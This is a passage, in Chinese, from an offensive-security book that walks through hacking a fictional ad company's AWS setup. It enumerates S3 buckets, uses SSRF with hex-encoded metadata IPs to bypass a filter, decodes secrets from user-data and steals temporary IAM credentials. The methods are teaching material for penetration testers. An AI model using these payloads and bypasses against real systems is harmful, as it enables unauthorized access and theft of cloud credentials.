但是,应用负载均衡器可以稍等一下。我们一眼就看到了图表,已经找出了我们的获胜者。我们将从那诱人的 AWS S3 URL 开始。

调查 S3 URLs

AWS S3 是亚马逊提供的高度冗余且廉价的存储服务,起价仅为每 GB $0.023,另外还需支付数据传输费用。存储在 S3 中的对象被组织为 存储桶。每个存储桶都有一个独特的名称和 URL,适用于所有 AWS 账户(见图 5-2)。

f05002

图 5-2:S3 存储桶在 Web 控制台中的显示方式

S3 可以托管从 JavaScript 文件到数据库备份的任何内容。在许多大大小小的公司快速采用之后,你常常会听到在会议中提到某个随机文件时,人们说:“哦,放到 S3 上就行!”

这种集中在互联网上易于获取的数据吸引了黑客,犹如蜜蜂飞向花朵,而事实证明,无论是小公司还是知名企业,都曾因为此事成为丑闻的主角。公开且易受攻击的 S3 桶让这些公司丢失了数 TB 的敏感数据,如客户信息、交易历史等。如今,突破一家公司的安全从未如此简单。你甚至可以在buckets.grayhatwarfare.com/上找到公开 S3 桶的列表。

我们在图 5-1 中的小型 DNS 图展示了四个 S3 URL——dl.mxrads.com、misc.mxrads.com、assets.mxrads.com 和 resource.mxrads.com——但实际上可能还有更多需要揭示的内容。在检查这些桶之前,我们先将这些 URL 过滤掉。有时,Akamai 和 CloudFront 可以通过 ALIAS 记录隐藏 S3 桶。为了彻底,我们将遍历 18 个 Akamai 和 CloudFront 的 URL,并仔细查看 HTTP 响应中的Server指令:

root@Point1:~/# while read p; do \
**echo $p, $(curl --silent -I -i https://$p | grep AmazonS3) \**
**done <cloudfront_akamai_subdomains.txt**

digital-js.mxrads.com, Server: AmazonS3
streaming.mxrads.com, Server: AmazonS3

我们还要再添加两个桶。太好了。我们接着在浏览器中加载第一个桶的 URL:dl.mxrads.com(mxrads-files.s3.eu-west-1.amazonaws.com 的别名),希望能够访问桶中的内容。不幸的是,我们立刻被一个相当明确的错误信息拦住了:

g05001

访问被拒绝

与这个消息可能暗示的相反,我们并没有被技术性地禁止访问桶中的对象。我们只是不能列出桶的内容,就像 Apache 服务器中的Options -Indexes指令禁用了目录列出一样。

S3 桶安全性

在经历了一系列关于不安全 S3 桶的丑闻后,AWS 已经收紧了默认的访问控制。现在,每个桶都有一个类似公共开关的功能,用户可以轻松激活它来禁止任何类型的公共访问。这个功能看起来似乎很基础,然而桶的访问列表由不止一个、不止两个、不止三个,而是四个重叠的设置来管理,且都在这个公共开关下!真是复杂到极点。几乎可以原谅公司在配置时出现错误。这些设置如下:

  1. 访问控制列表(ACL)明确规定了哪些 AWS 账户可以访问哪些资源(已弃用)。

  2. 跨域资源共享(CORS)是对来自其他域的 HTTP 请求施加的规则和约束,可以根据请求的用户代理字符串、HTTP 方法、IP 地址、资源名称等进行筛选。

  3. 桶策略 一种 JavaScript 对象表示法(JSON)文档,规则说明了哪些操作是允许的,谁可以执行,在哪些条件下可以执行。桶策略取代了 ACL,成为保护桶的名义方式。

  4. 身份与访问管理(IAM)策略 类似于桶策略,但这些 JSON 文档附加在用户/组/角色上,而不是桶上。

这是一个桶策略示例,允许任何人从桶中获取对象,但禁止对桶进行任何其他操作,例如列出其内容、写入文件、更改其策略等:

{
  "Version":"2012-10-17",
  "Statement":[
    {
      "Sid":"UniqueID", // ID of the policy
      "Effect":"Allow", // Grant access if conditions are met
      "Principal": "*", // Applies to anyone (anonymous or not)
      "Action":["s3:GetObject"], // S3 operation to view a file
 "Resource":["arn:aws:s3:::bucketname/*"] // All files in the bucket
    }
  ]
}

AWS 结合这四个设置的规则来决定是否接受一个传入的操作。主控这些设置的是名为Block public access的总开关,当它开启时,会禁用所有公共访问,即使其中某个设置明确授权了公共访问。

复杂吗?那真是轻描淡写了。我鼓励你创建一个 AWS 账户,探索 S3 桶的复杂性,培养识别和滥用过于宽松 S3 设置的正确反应。

检查桶

回到我们的桶列表。我们浏览了一遍,除了misc.mxrads.com外,其他都无法访问,奇怪的是,misc.mxrads.com返回了一个空白页面。没有出现错误肯定是个好兆头。让我们使用 AWS 命令行进一步探查。首先,我们安装 AWS 命令行接口(CLI):

root@Point1:~/# sudo apt install awscli
root@Point1:~/# aws configure
# Enter any valid set of credentials to unlock the CLI.
# You can use your own AWS account, for instance.

AWS CLI 不接受 S3 URL,因此我们需要弄清楚misc.mxrads.com背后的真实桶名。大多数时候,这个过程非常简单,只需要检查域名的 CNAME 记录,这个案例中返回的是 mxrads-misc.s3-website.eu-west-1.amazonaws.com。这告诉我们桶的名称是 mxrads-misc。如果检查 CNAME 不奏效,我们需要更多的技巧,比如在 URL 中注入特殊字符如%C0,或者附加无效的参数,试图让 S3 显示包含桶名称的错误页面。

拿到这个桶名后,我们可以利用 AWS CLI 的强大功能。首先,通过命令列出桶内所有对象,并将结果保存到一个文本文件中:

root@Point1:~/# aws s3api list-objects-v2 --bucket mxrads-misc > list_objects.txt
root@Point1:~/# head list_objects.txt
{ "Contents": [{
     "Key": "Archive/",
     "LastModified": "2015-04-08T22:01:48.000Z",
      "Size": 0,

 "Key": "Archive/_old",
     "LastModified": "2015-04-08T22:01:48.000Z",
     "Size": 2969,

     "Key": "index.html",
     "LastModified": "2015-04-08T22:01:49.000Z",
     "Size": 0,
    },
`--snip--`

我们得到了很多对象——太多了,无法手动检查。为了确切知道有多少个对象,我们使用 grep 来查找"Key"参数:

root@Point1:~/# grep '"Key"' list_objects.txt |wc -l
425927

万无一失!我们在这个单一的桶里存储了超过 40 万个文件。这已经算是一次非常不错的发现了。在对象列表中,注意到 S3 桶根目录下有一个空的index.html文件;S3 桶可以被设置为充当静态文件的网站托管,比如 JavaScript 代码、图片和 HTML 文件,而这个index.html文件就是导致我们之前运行 URL 时看到空白页面的原因。

是时候进行一些简易的数据挖掘了。让我们使用正则表达式查找 SQL 脚本、bash 文件、备份档案、JavaScript 文件、配置文件、VirtualBox 快照——任何可能为我们提供有价值凭证的内容:

# We extract the filenames in the "Key" parameters:
root@Point1:~/# grep '"Key"' list_objects | sed 's/[",]//g' > list_keys.txt

root@Point1:~/# patterns='\.sh$|\.sql$|\.tar\.gz$\.properties$|\.config$|\.tgz$'

root@Point1:~/# egrep $patterns list_keys.txt
  Key: debug/360-ios-safari/deploy.sh
 Key: debug/ias-vpaidjs-ios/deploy.sh
  Key: debug/vpaid-admetrics/deploy.sh
  Key: latam/demo/SiempreMujer/nbpro/private/private.properties
  Key: latam/demo/SiempreMujer/nbpro/project.properties
  Key: demo/indesign-immersion/deploy-cdn.sh
  Key: demo/indesign-immersion/deploy.sh
  Key: demo/indesign-mobile-360/deploy.sh
`--snip--`

这为我们提供了一些潜在的文件列表。然后我们使用aws s3api get-object下载这些候选文件,并系统地逐一检查它们,希望能够找到某种有效的凭证。一个值得注意的事实是,AWS 默认不记录 S3 对象操作,如 get-objectput-object,因此我们可以尽情下载文件,知道没有人会跟踪我们的行为。遗憾的是,AWS 的其他 API 并非如此。

几小时的研究后,我们仍然一无所获,什么都没有。似乎大多数脚本都是旧的三行代码,用于下载公共文档、获取其他脚本、自动化例行命令或创建虚拟 SQL 表。

是时候尝试一些其他的方法了。也许有些敏感数据文件逃过了我们之前的模式过滤,也许有些带有不常见扩展名的文件藏在一堆文件中。为了找到这些文件,我们进行了一次激进的反向搜索,排除了常见且无用的文件,如图片、层叠样式表(CSS)和字体,试图揭示一些隐藏的宝藏:

root@Point1:~/# egrep -v\
**"\.jpg|\.png|\.js|\.woff|/\",$|\.css|\.gif|\.svg|\.ttf|\.eot" list_keys.xt**

Key: demo/forbes/ios/7817/index.html
Key: demo/forbes/ios/7817/index_1.html
Key: demo/forbes/ios/7817/index_10.html
Key: demo/forbes/ios/7817/index_11.html
Key: demo/forbes/ios/7817/index_12.html
Key: demo/forbes/ios/7817/index_13.html
--`snip`--

root@Point1:~/# aws s3api get-object --bucket mxrads-misc \
**--key demo/forbes/ios/7817/index.html forbes_index.html**

HTML 文件并不是我们所期望的特殊文件,但由于它们占据了此存储桶中超过 75% 的文件,我们最好还是看一下。打开这些文件,我们看到它们似乎是来自世界各地新闻网站保存的页面。在这个混乱的 GP 基础设施中,某个应用程序正在抓取网页并将它们存储在这个存储桶里。我们想知道这是为什么。

还记得在引言中我提到的那个特别的黑客风采吗?这就是它。这样的发现应该会让你脊背发凉!

检查面向 Web 的应用程序

这个该死的应用程序藏在哪里?为了找出它,我们回到图 5-1 中的 DNS 侦察结果,果然,一个完美的嫌疑人从一堆中跳了出来,直截了当地出现在眼前:demo.mxrads.com。我们在包含 HTML 文件的 S3 键中也看到了相同的“demo”关键字。我们甚至不需要使用 grep

我们在浏览器中输入demo.mxrads.com,看到主页的图片和标题似乎描述了我们正在寻找的行为(见图 5-3)。

f05003

图 5-3:demo.mxrads.com 的首页

为了更仔细地查看这个页面,我们启动了 Burp Suite,这是一款本地 Web 代理,方便地拦截并转发来自浏览器的每个 HTTP 请求(OWASP 粉丝可以使用 ZAP,Zed 攻击代理)。我们在运行 Burp 的情况下重新加载demo.mxrads.com,并看到网站发出的请求实时流出,如图 5-4 所示。

f05004

图 5-4:Burp 检查 MXR 广告演示页面

这是一个很好的攻击面。使用 Burp,我们可以拦截这些 HTTP(S) 请求,实时修改它们,随意重复它们,甚至可以配置正则表达式规则自动匹配和替换头信息。如果你曾经做过网页渗透测试或 CTF 挑战,肯定用过类似的工具。但我们先放一放这个,继续我们的调查。

我们返回检查 demo.mxrads.com 网站。正如我们从像 MXR Ads 这样的公司所预料的,这个网站提供在多个浏览器和设备上展示演示广告的功能,还可以在一些知名网站上展示广告,例如 nytimes.comtheregister.com(见图 5-5)。全球的销售团队可能会利用这些功能来说服媒体合作伙伴,他们的技术可以与任何网页框架无缝集成。真是挺聪明的。

*f05005

图 5-5:MXR Ads 功能在多个流行网站上展示广告

我们将通过尝试这个功能来检查页面。我们选择在 纽约时报 网站上展示广告,随后一个新的内容窗口弹出,展示了一个精美的随机香水品牌广告,广告位于今天纽约时报主页的中间。

这个演示页面看起来可能是一个无害的功能:我们指定一个网站,应用程序获取其实际内容,并添加一个带有随机广告的视频播放器,向潜在客户展示 MXR Ads 能做些什么。它可能引入什么漏洞呢?有很多……

在我们研究如何利用这个应用之前,先用 Burp Proxy 评估一下背后的情况。当我们点击 NYT 选项来展示广告时会发生什么?我们在图 5-6 中可以看到结果。

f05006

图 5-6:我们点击 demo.mxrads.com 上的 NYT 选项后,HTTP 历史标签页的内容

我们没有看到太多 HTTP 流量,这点是肯定的。网页加载完成后,服务器以“HTTP/1.1 101 Switching Protocols”消息响应,然后 HTTP 历史标签页中再没有任何通信。我们需要切换到 WebSockets 历史标签页,以继续跟踪剩余的交换过程。

使用 WebSocket 进行拦截

WebSocket 是一种与 HTTP 并行的通信协议,但不同于 HTTP,WebSocket 是一个全双工通信通道。在常规的 HTTP 协议中,每个服务器响应都对应一个客户端请求。服务器不会在两个请求之间保持状态;而是通过 cookies 和 headers 来处理状态,这些帮助后端应用程序记住是谁在访问哪个资源。WebSocket 的工作方式不同:客户端和服务器建立一个全双工和绑定的通道,双方都可以随时发起通信。一个 outgoing 消息可能会对应多个 incoming 消息,反之亦然。(关于 WebSocket 的更多信息,查看 blog.teamtreehouse.com/an-introduction-to-websockets/。)WebSocket 的一个美妙之处在于,它们不需要 HTTP cookies,因此也不需要支持它们。这些 cookies 正是用来维持用户认证会话的!所以当会话从 HTTP 切换到 WebSocket 时,便有机会通过直接使用 WebSocket 而不是 HTTP 获取敏感资源,从而绕过访问控制——但这属于另一类漏洞,下次再聊。图 5-7 显示了我们的 WebSocket 历史标签。

f05007

图 5-7:demo.mxrads.com 的 WebSocket 历史标签

WebSocket 通信看起来相当简单:每条发往服务器的消息都由一个 URL(nytimes.com)组成,后面跟着与用户浏览器相关的指标(Mozilla/5.0...),以及要显示的广告的标识符(437)。Burp 无法重放(在 Burp 术语中称为 repeat)过去的 WebSocket 通信,因此要篡改 WebSocket 消息,我们需要从 demo 网站手动触发它。

我们在 Burp 选项中开启拦截模式,这将允许我们捕捉下一个交换的消息,并实时更新(见 图 5-8)。例如,让我们看看是否能让 MRX Ads 网站获取我们在第三章设置的 Nginx 容器的主页。

f05008

图 5-8:在 Burp 中拦截网页

我们将修改后的请求转发,并前往我们的 Docker 容器查看日志。我们使用 docker ps 获取容器 ID,然后将其传递给 docker logs

root@Nginx:~/# docker ps
CONTAINER ID        IMAGE                COMMAND
5923186ffda5        sparcflow/ngi...   "/bin/bash /sc..."

root@Nginx:~/# docker logs 5923186ffda5
54.221.12.35 - - [26/Oct/2020:13:44:08 +0000] "GET / HTTP/1.1"...

MXR Ads 应用确实实时获取 URL!你问为什么这么厉害?嗯,并不是所有的域名和 IP 地址都是一样的,你知道吗?某些 IP 地址有特定的用途。一个典型的例子是 127.0.0.0/8 阻止,它指向回环地址(即主机自身),或者 192.168.0.0/16,这是为私有网络保留的。一个较少为人知的 IP 地址范围是 169.254.0.0/16,这是由互联网工程任务组(IETF)为链路本地寻址保留的,这意味着这个范围仅对网络内部的通信有效,不能路由到互联网。例如,每当一台计算机无法通过 DHCP 获取 IP 地址时,它会自行为自己分配一个该范围内的 IP 地址。更重要的是,这个范围还被许多云服务提供商用于将私有 API 暴露给它们的虚拟机,以便它们了解自己的环境。

在几乎所有的云服务提供商中,调用 IP 地址 169.254.169.254 会被路由到虚拟机监控程序,并获取有关内部事项的信息,如机器的主机名、内部 IP 地址、防火墙规则等。这是一个包含大量元数据的宝库,可以让我们一窥公司的内部架构。

我们来试试吧,怎么样?在 Burp 截取模式仍然开启的情况下,我们触发另一个 WebSocket 消息,以在《纽约时报》上展示一个广告,但这次我们将消息体中的 URL 替换为默认的 AWS 元数据 URL,http://169.254.169.254/latest,如下面所示:

# Modified WebSocket message:
http://169.254.169.254:! Mozilla/5.0 (Windows NT 9.0; Win64; x64...

我们等待服务器的响应——记住它是异步的——但什么也没有返回。

MXR Ads 并没有让事情变得简单。可以合理推测,应用中明确禁止了该 URL,正是出于这个原因。或者也许应用只是期望一个有效的域名?我们可以将元数据 IP 替换为一个更无害的 IP 地址(例如我们 Nginx 容器的 IP):

# Modified WebSocket message:
http://54.14.153.41/:! Mozilla/5.0 (Windows NT 9.0; Win64; x64...

我们检查日志,果然,看到来自应用的请求传了过来:

root@Point1:~/# docker logs 5923186ffda5
54.221.12.35 - - [26/Oct/2020:13:53:12 +0000] "GET / HTTP/1.1"...

好吧,有些 IP 地址是被允许的,但 169.254.169.254 必须在应用中被明确禁止。是时候拿出我们的脏字符串解析技巧了。尽管 IP 地址通常以十进制格式表示,但浏览器和 Web 客户端实际上也能接受更为冷门的表示法,比如十六进制或八进制。例如,以下所有的 IP 地址是等效的:

http://169.254.169.254
http://0xa9fea9fe # hexadecimal representation
http://0xA9.0xFE.0xA9.0xFE # dotted hexadecimal
http://025177524776 # octal representation
http://①⑥⑨.②⑤④.①⑥⑨.②⑤④ # Unicode representation

我们可以尝试通过尝试其十六进制、点分十六进制和八进制的替代形式来绕过 IP 地址禁令。

在这种情况下,简单的十六进制格式化即可完成任务,我们得到了 AWS 元数据 API 的著名输出,如 图 5-9 所示。

f05009

图 5-9:AWS 元数据 URL 的输出

在 图 5-9 的底部的 Raw 部分,字符串 1.0、2007-01-19、2007-03-01 等是元数据端点的不同版本。我们可以使用路径中的关键字 /latest 来获取尽可能多的数据,而不是指定特定的日期,正如我们将在下一节中看到的。

这个输出当然确认了我们有一个有效的服务器端请求伪造案例。是时候造成一些损害了!

服务器端请求伪造

服务器端请求伪造(SSRF) 攻击是指我们强迫某些服务器端应用向我们选择的域发起 HTTP 请求。这有时能让我们访问内部资源或未受保护的管理员面板。

探索元数据

我们开始收集关于运行此网页获取应用程序的机器的基本信息,再次使用 Burp 的拦截模式。在拦截我们的请求后,我们将十六进制编码的元数据 IP 替换为原始请求的 URL,然后将 AWS 的元数据 API 名称附加到末尾,如 Listing 5-1 所示。

# AWS Region
http://0xa9fea9fe/latest/meta-data/placement/availability-zone
eu-west-1a

# Instance ID
http://0xa9fea9fe/latest/meta-data/instance-id
1 i-088c8e93dd5703ccc

# AMI ID
http://0xa9fea9fe/latest/meta-data/ami-id
2 ami-02df9ea15c1778c9c

# Public hostname
http://0xa9fea9fe/latest/meta-data/public-hostname
3 ec2-3-248-221-147.eu-west-1.compute.amazonaws.com

Listing 5-1:从元数据 API 获取的 Web 应用基本信息

从中我们看到示范应用运行在 eu-west-1 区域,这表示它位于亚马逊位于爱尔兰的数据中心之一。AWS 提供了数十个区域。尽管公司努力将其最重要的应用分布在多个区域,但辅助服务和有时的后端通常会集中在少数几个区域中。实例 ID 是分配给每个在 EC2 服务中启动的虚拟机的唯一标识符,其值为 i-088c8e93dd5703ccc 1。当执行针对运行广告应用程序的机器的 AWS API 调用时,这些信息可能会非常有用。

镜像 ID ami-02df9ea15c1778c9c 2 指的是用于运行该机器的快照,例如 Ubuntu 或 CoreOS 镜像。机器镜像可以是公开的(所有 AWS 客户都可用)或私有的(仅对特定账户可用)。这个特定的 AMI ID 是私有的,因为它无法在 AWS EC2 控制台上找到。如果该 AMI ID 不是私有的,我们本可以启动该快照的类似实例来测试未来的有效载荷或脚本。

最后,公共主机名为我们提供了直接通往运行示范应用程序(或 AWS 行话中的 EC2 实例)的路径,前提是本地防火墙规则允许我们访问它。该机器的公共 IP 可以从其规范主机名推导出来:3.248.221.147 3。

说到网络配置,让我们从元数据 API 获取防火墙配置,如 Listing 5-2 所示。了解现有的防火墙规则可以帮助我们推测出与该系统交互的其他主机以及可能运行的服务,即使它们并不对外公开。防火墙规则由名为 安全组 的对象进行管理。

# MAC address of the network interface
http://0xa9fea9fe/latest/meta-data/network/interfaces/macs/
06:a0:8f:8d:1c:2a

# AWS Owner ID
http://0xa9fea9fe/.../macs/06:a0:8f:8d:1c:2a/owner-id
886371554408

# Security groups
http://0xa9fea9fe/.../macs/06:a0:8f:8d:1c:2a/security-groups
elb_http_prod_eu-west-1
elb_https_prod_eu-west-1
common_ssh_private_eu-west-1
egress_internet_http_any

# Subnet ID where the instance lives
http://0xa9fea9fe/.../macs/06:a0:8f:8d:1c:2a/subnet-id
subnet-00580e48

# Subnet IP range
http://0xa9fea9fe/.../macs/06:a0:8f:8d:1c:2a/subnet-ipv4-cidr-block
172.31.16.0/20

Listing 5-2:Web 应用的防火墙配置

我们需要网络的 MAC 地址来从元数据 API 中检索网络信息。AWS 账户所有者用于构建 Amazon 资源名称 (ARNs),这是用于标识用户、策略和几乎所有 AWS 资源的唯一标识符;这些信息在未来的 API 调用中非常有用。ARN 对每个账户都是唯一的,因此 MXR Ads 的账户 ID 是并将始终保持 886371554408 —— 即使一个公司可能且通常会有多个 AWS 账户,正如我们稍后会看到的那样。

我们只能列出安全组的名称,而不能列出实际的防火墙规则,但这已经提供了足够的信息来推测实际的防火墙规则。例如,elb_http_prod_eu-west-1 集合中的 elb 部分表明该集合很可能允许负载均衡器访问服务器。第三个安全组很有趣:common_ssh_private-eu-west-1。根据其名称,可以合理推测只有少数几台机器,通常被称为 bastions,能够通过 SSH 连接到其余的基础设施。如果我们能够以某种方式进入其中一个珍贵的实例,那将为我们打开许多、许多的门!有趣的是,我们仍然被困在组织外面,但已经能够对其基础设施设计理念有些许了解。

元数据 API 的脏秘密

当然,我们还远未完成,所以让我们再加把劲。正如我们在第三章中看到的,AWS 提供了在机器首次启动时执行脚本的功能。这个脚本通常被称为 user-data。我们曾用它来设置自己的基础设施并启动 Docker 容器。好消息——这个同样的 user-data 可以通过元数据 API 通过一次查询获取。通过向 Burp 发送另一个请求到 MXR Ads 演示应用,我们可以看到他们肯定使用了它来设置自己的机器,如 示例 5-3 所示。

# User data information
http://0xa9fea9fe/latest/user-data/

# cloud-config
1 coreos:
  units:
  - command: start
    content: |-
      [Unit]
      Description=Discover IPs for external services
      Requires=ecr-setup.service
`--snip--`

示例 5-3:在机器首次启动时执行的 user-data 脚本片段

我们看到一大波数据流在屏幕上滚动,心中充满了温暖和愉快的感觉。这就是 SSRF 的辉煌表现。让我们检查一下通过这个命令得到的数据。

除了接受普通的 bash 脚本,cloud-init 还支持 cloud-config 文件格式,它使用声明性语法来准备和调度启动操作。Cloud-config 被许多发行版所支持,包括 CoreOS,看起来它是支持这台机器的操作系统 1。

Cloud-config 使用 YAML 语法,利用空格和换行符来分隔列表、值等。cloud-config 文件描述了设置服务、创建账户、执行命令、写入文件和执行启动操作中其他任务的指令。一些人发现它比粗糙的 bash 脚本更简洁、更容易理解。

让我们分解一下我们检索到的 user-data 脚本中最重要的部分(见 示例 5-4)。

--`snip`--
- command: start
  content: |
  1 [Service]   # Set up a service
    EnvironmentFile=/etc/ecr_env.file # Env variables

 2 ExecStartPre=**/usr/bin/docker pull** ${URL}/**demo-client**:master

    3 ExecStart=**/usr/bin/docker** run \
        -v /conf_files/logger.xml:/opt/workspace/log.xml \
        --net=host \
 **--env-file=/etc/env.file** \
        --env-file=/etc/java_opts_env.file \
      4 --env-file=/etc/secrets.env \
        --name demo-client \
        ${URL}/demo-client:master \
--`snip`--

示例 5-4:user-data 脚本的继续部分

首先,该文件设置了一个将在机器启动时执行的服务 1。这个服务拉取demo-client应用镜像 2,并使用精心配置的docker run命令 3 启动容器。

请注意,多个--env-file开关 4 要求 Docker 从自定义文本文件加载环境变量,其中一个文件恰巧命名为secrets.env!当然,百万美元的问题是,这些文件到底存放在哪里?

它们有可能直接嵌入到 AMI 镜像中,但如果是那样,更新配置文件对于 MXR Ads 来说将是登上珠穆朗玛峰般的不便。要更新数据库密码,公司需要制作并发布一个新的 CoreOS 镜像。这显然效率不高。不,概率更大的是,secrets.env文件要么是通过 S3 动态获取的,要么直接嵌入到相同的user-data脚本中。事实上,如果我们继续向下滚动,我们会看到以下片段:

`--snip--`
write_files:
- content: H4sIAEjwoV0AA13OzU6DQBSG4T13YXoDQ5FaTFgcZqYyBQbmrwiJmcT+Y4Ed6/...
  encoding: gzip+base64
  path: /etc/secrets.env
  permissions: "750"
`--snip--`

精彩。这段二进制数据经过 base64 编码,所以我们将解码、解压,并惊叹其内容,如列表 5-5 所示。

root@Point1:~/# echo H4sIAAA...|base64 -d |gunzip

ANALYTICS_URL_CHECKSUM_SEED = 180309210013
CASSANDRA_ADS_USERSYNC_PASS = QZ6bhOWiCprQPetIhtSv
CASSANDRA_ADS_TRACKING_PASS = 68niNNTIPAe5sDJZ4gPd
CASSANDRA_ADS_PASS = fY5KZ5ByQEk0JNq1cMM3
CASSANDRA_ADS_DELIVERYCONTROL_PASS = gQMUUHsVuuUyo003jqFU
IAS_AUTH_PASS = PjO7wnHF9RBHD2ftWXjm
ADS_DB_PASSWORD = !uqQ#:9#3Rd_cM]

列表 5-5:包含密码的解码secrets.env文件片段

赚到了!这个二进制数据包含了多个访问 Cassandra 集群的密码(Cassandra 是一种高度弹性的 NoSQL 数据库,通常用于处理大规模数据并保持最小的延迟)。我们还得到了两个含有无限潜力的密码。当然,仅凭密码还不够。我们还需要关联的主机和用户名,而应用程序也是如此,因此我们可以假设列表 5-4 中的第二个环境文件env.file应包含所有缺失的信息。

然而,在继续向下滚动user-data时,我们并没有找到env.file的定义。但我们确实发现了一个 shell 脚本get-region-params.sh,它似乎会重置我们宝贵的env.file(见列表 5-6)。

--`snip`--
 - command: start
   content: |-
       [Unit]
       Description=Discover IPs for external services
       [Service]
       Type=oneshot
       ExecStartPre=/usr/bin/rm -f /etc/env.file
 **ExecStart=/conf_files/get-region-params.sh**
       name: define-region-params.service
`--snip--`

列表 5-6:似乎与env.file交互的发现服务

这个脚本很可能会创建env.file。让我们深入了解三行之后创建的get-region-params.sh的内容(见列表 5-7)。

`--snip--`
write_files:
1 - content: H4sIAAAAAAAC/7yabW/aShbH3/tTTFmu0mjXOIm6lXoj98qAQ6wSG9lOpeyDrME+...
  encoding: gzip+base64
  path: /conf_files/define-region-params.sh

列表 5-7:负责在user-data脚本中创建get-region-params.sh的行

我们还有一个编码的二进制数据 1。通过使用一些base64gunzip技巧,我们将这堆垃圾转换为一个普通的 bash 脚本,该脚本定义了各种端点、用户名以及其他参数,具体取决于机器运行的区域(请参见列表 5-8)。我将跳过许多条件分支和 case 语句,只打印相关部分。

root@Point1:~/# echo H4sIAAA...|base64 -d |gunzip

AZ=$(curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone)
REGION=${AZ%?}

case $REGION in
  ap-southeast-1...
    ;;
  eu-west-1
    echo "S3BUCKET=mxrads-dl" >> /etc/env.file 1
 echo "S3MISC=mxrads-misc" >> /etc/env.file 2
    echo "REDIS_GEO_HOST=redis-geolocation.production.euw1.mxrads.tech" >> /etc/env.file
    echo "CASSA_DC=eu-west-delivery" >> /etc/env.file
    echo "CASSA_USER_SYNC=usersync-euw1" >> /etc/env.file
    echo "CASSA_USER_DLVRY=userdc-euw1" >> /etc/env.file

`--snip--`
cassandra_delivery_host="cassandra-delivery.prod.${SHORT_REGION}.mxrads.tech"
`--snip--`

列表 5-8:解码后的get-region-params.sh脚本片段

请注意我们在侦查过程中遇到的 S3 存储桶 mxrads-dl 1 和 mxrads-misc 2。

看着这个脚本,我们可以看到实例正在使用元数据 API 来检索它自己的区域并基于这些信息构建端点和用户名。这是公司朝着基础设施弹性迈出的第一步:它打包了一个应用,甚至是一个环境,能够在任何虚拟化管理程序、任何数据中心、任何国家/地区运行。无疑是强大的东西,但有个警告——正如我们亲眼所见,简单的 SSRF 漏洞可能暴露应用程序的所有秘密给任何愿意尝试的人。

通过交叉引用这个文件与我们从列出 5-5 获取的密码,并根据变量名进行合理推测,我们可以重建以下凭证:

cassandra-delivery.prod.euw1.mxrads.tech

  1. 用户名:userdc-euw1

  2. 密码:gQMUUHsVuuUyo003jqFU

cassandra-usersync.prod.euw1.mxrads.tech

  1. 用户名:usersync-euw1

  2. 密码:QZ6bhOWiCprQPetIhtSv

有些机器缺少用户名,其他密码也缺少相应的主机名,但我们会在时间中慢慢搞清楚。目前,这是我们可以完全整理出来的所有内容。

有了这些信息,唯一阻止我们访问这些数据库的就是基本的、防火墙规则。这些端点解析到内部 IP 地址,无法从我们攻击服务器所在的互联网角落访问,因此除非我们想出改变这些防火墙规则或完全绕过它们的方法,否则我们将被一堆无用的凭证卡住。

好吧,这并不完全正确。我们还没有获取到一组凭证,与之前的凭证不同,它通常不受 IP 限制:机器的 IAM 角色。

在大多数云服务提供商中,你可以为机器分配一个角色,这是一组默认凭证。这样机器就能够无缝地进行云提供商身份验证,并继承分配给该角色的任何权限。任何在机器上运行的应用或脚本都可以声明该角色,这样就避免了在代码中硬编码密钥的糟糕习惯。看起来完美……再次强调,仅仅是纸面上的完美。

实际上,当 EC2 机器(或者更准确地说,是实例配置文件) impersonates IAM 角色时,它会获取一组临时凭证,代表该角色的权限。这些凭证通过——你猜对了——元数据 API 提供给机器。

我们调用/latest/meta-data/iam/security-credentials 端点来检索该角色的名称:

http://0xa9fea9fe/latest/meta-data/iam/security-credentials
demo-role.ec2

我们可以看到该机器被分配了 demo-role.ec2 角色。让我们再次通过调用元数据 API 来获取它的临时凭证:

# Credentials
http://0xa9fea9fe/latest/meta-data/iam/security-credentials/demo-role.ec2

{
 Code : Success,
 LastUpdated : 2020-10-26T11:33:39Z,
 Type : AWS-HMAC,
 **AccessKeyId : ASIA44ZRK6WS4HX6YCC7,**
 SecretAccessKey : nMylmmbmhHcOnXw2eZ3oh6nh/w2StPw8dI5Mah2b,
 Token : AgoJb3JpZ2luX2VjEFQ...
 Expiration : 2020-10-26T17:53:41Z 1
}

我们得到了AccessKeyIdSecretAccessKey,它们共同构成了经典的 AWS API 凭证,以及一个验证这组临时凭证的访问令牌。

理论上,我们可以将这些密钥加载到任何 AWS 客户端,并通过机器的身份:demo-role.ec2,在世界上任何 IP 上与 MXR Ads 的账户进行交互。如果该角色允许机器访问 S3 存储桶,那么我们就可以访问这些存储桶。如果机器可以终止实例,那么我们也可以。我们可以接管该实例的身份和权限,在凭证被重置之前的六个小时内继续使用。

当这个宽限期到期后,我们可以再次检索到一组新的有效凭证。现在你明白为什么 SSRF 是我新最好的朋友了。在这里,我们将 AWS 凭证注册在主目录下,配置文件名称为 demo

# On our attacking machine
root@Point1:~/# vi ~/.aws/credentials
[demo]
aws_access_key_id = ASIA44ZRK6WSX2BRFIXC
aws_secret_access_key = +ACjXR87naNXyKKJWmW/5r/+B/+J5PrsmBZ
aws_session_token = AgoJb3JpZ2l...

看起来我们有了突破!不幸的是,就在我们开始紧握目标时,AWS 又给我们带来了新的挑战:IAM。

AWS IAM

AWS IAM 是身份验证和授权服务,它可能是一个非常复杂的系统。默认情况下,用户和角色几乎没有任何权限。他们无法看到自己的信息,如用户名或访问密钥 ID,因为即使是这些简单的 API 调用也需要明确的权限。

显然,像开发人员这样的普通 IAM 用户拥有一些基本的自查权限,使他们可以列出自己的组成员身份,但对于附加到机器的实例角色来说情况就完全不同了。当我们尝试获取关于角色 demo-role-ec2 的基本信息时,出现了一个令人震惊的错误:

# On our attacking machine
root@Point1:~/# 

aws iam get-role \

**--role-name demo-role-ec2 \**
**--profile demo**

An error occurred (AccessDenied) when calling the GetRole operation: User:
arn:aws:sts::886371554408:assumed-role/demo-role.ec2/i-088c8e93dd5703ccc
is not authorized to perform: iam:GetRole on resource: role demo-role-ec2

一个应用程序通常不会在运行时评估它的权限集;它只会执行代码所规定的 API 调用并相应地操作。这意味着我们拥有有效的 AWS 凭证,但目前我们完全不知道如何使用它们。

我们需要做一些研究。几乎每个 AWS 服务都有一些 API 调用,用来描述或列出其所有资源(EC2 的 describe-instances、S3 的 list-buckets 等等)。因此,我们可以慢慢开始探测最常用的服务,看看我们可以用这些凭证做什么,然后逐步测试 AWS 的各种服务。

